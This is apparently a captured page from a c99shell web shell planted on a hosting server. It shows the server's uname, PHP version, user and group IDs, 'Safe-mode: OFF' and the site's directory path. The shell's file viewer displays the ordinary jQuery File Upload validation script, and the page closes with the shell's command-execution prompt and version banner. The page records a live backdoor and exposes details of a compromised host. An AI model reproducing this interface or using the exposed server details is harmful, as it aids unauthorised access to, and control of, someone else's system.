Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) Safe-mode: OFF (not secure) /var/www/clients/client172/web473/web/aps/xcrud/plugins/jQuery-File-Upload-master/js/ drwxr-xr-x |
Viewing file: jquery.fileupload-validate.js (3.62 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | /* * jQuery File Upload Validation Plugin * https://github.com/blueimp/jQuery-File-Upload * * Copyright 2013, Sebastian Tschan * https://blueimp.net * * Licensed under the MIT license: * https://opensource.org/licenses/MIT */ /* global define, require */ (function (factory) { 'use strict'; if (typeof define === 'function' && define.amd) { // Register as an anonymous AMD module: define(['jquery', './jquery.fileupload-process'], factory); } else if (typeof exports === 'object') { // Node/CommonJS: factory(require('jquery'), require('./jquery.fileupload-process')); } else { // Browser globals: factory(window.jQuery); } })(function ($) { 'use strict'; // Append to the default processQueue: $.blueimp.fileupload.prototype.options.processQueue.push({ action: 'validate', // Always trigger this action, // even if the previous action was rejected: always: true, // Options taken from the global options map: acceptFileTypes: '@', maxFileSize: '@', minFileSize: '@', maxNumberOfFiles: '@', disabled: '@disableValidation' }); // The File Upload Validation plugin extends the fileupload widget // with file validation functionality: $.widget('blueimp.fileupload', $.blueimp.fileupload, { options: { /* // The regular expression for allowed file types, matches // against either file type or file name: acceptFileTypes: /(\.|\/)(gif|jpe?g|png)$/i, // The maximum allowed file size in bytes: maxFileSize: 10000000, // 10 MB // The minimum allowed file size in bytes: minFileSize: undefined, // No minimal file size // The limit of files to be uploaded: maxNumberOfFiles: 10, */ // Function returning the current number of files, // has to be overriden for maxNumberOfFiles validation: getNumberOfFiles: $.noop, // Error and info messages: messages: { maxNumberOfFiles: 'Maximum number of files exceeded', acceptFileTypes: 'File type not allowed', maxFileSize: 'File is too large', minFileSize: 'File is too small' } }, processActions: { validate: function (data, options) { if (options.disabled) { return data; } // eslint-disable-next-line new-cap var dfd = $.Deferred(), settings = this.options, file = data.files[data.index], fileSize; if (options.minFileSize || options.maxFileSize) { fileSize = file.size; } if ( $.type(options.maxNumberOfFiles) === 'number' && (settings.getNumberOfFiles() || 0) + data.files.length > options.maxNumberOfFiles ) { file.error = settings.i18n('maxNumberOfFiles'); } else if ( options.acceptFileTypes && !( options.acceptFileTypes.test(file.type) || options.acceptFileTypes.test(file.name) ) ) { file.error = settings.i18n('acceptFileTypes'); } else if (fileSize > options.maxFileSize) { file.error = settings.i18n('maxFileSize'); } else if ( $.type(fileSize) === 'number' && fileSize < options.minFileSize ) { file.error = settings.i18n('minFileSize'); } else { delete file.error; } if (file.error || data.files.error) { data.files.error = true; dfd.rejectWith(this, [data]); } else { dfd.resolveWith(this, [data]); } return dfd.promise(); } } }); }); |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.3495 ]-- |